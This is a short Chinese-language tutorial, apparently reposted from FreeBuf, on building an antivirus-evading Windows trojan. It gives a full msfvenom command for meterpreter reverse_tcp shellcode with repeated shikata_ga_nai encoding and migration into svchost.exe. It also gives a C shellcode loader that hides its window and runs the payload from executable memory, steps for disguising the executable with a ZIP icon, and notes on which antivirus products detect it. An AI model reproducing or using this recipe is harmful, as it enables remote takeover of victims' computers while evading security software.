msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform LHOST=XXX LPORT=XXX -e x86/shikata_ga_nai -i 15 -b 'x00' PrependMigrate=true PrependMIgrateProx=svchost.exe -f c > /root/Desktop/shellcode.c
1.-e x86/shikata_ga_nai -i 15是用 -e x86/shikata_ga_hai编码15次
2.PrependMigrate=true PrependMIgrateProx=svchost.exe是使这个程序会默认迁移到svchost.exe进程(这是微软自带的一个进程)
3.还可以使用windows/meterpreter/reverse_tcp_rc4这个payload,对会话进行加密,增加免杀能力。(需要设置RC4PASSWORD=)
执行上面代码后,桌面会有一个shellcode.c文件
将其移到 windows,用记事本打开会有 :unsigned char buf[] =”一长串数字”
接着我们用vs2022去开始编译木马
在visual studio下新建一个c++的win32项目将以下代码模板复制进去,在把你得到的shellcode那长串数字复制到shellcode的位置。
#include#include #pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"") //去除窗口 unsigned char shellcode[]= (这里就是shellcode) void main() { LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, shellcode, sizeof(shellcode)); ((void(*)())Memory)(); }
《可能会出现的问题》
编译方法网上有很多种,这个时候已经可以编译了,但是我们还可以对图标进行更改伪装:右击你的项目—>添加—>资源—>图标—>新建,再用电脑的搜索查找*.ico,找到 ZIP的图标找到你这个项目的文件夹下会有一个zip.ico文件,将zip.ico替换成icon1.ico,再次编译
再次编译的结果:
测试了一下效果,火绒是真的强,刚生成就被杀。电脑管家发现不了,所以确实能绕过一部分WAF
原文连接:
https://www.freebuf.com/sectool/166682.html?replytocom=247112



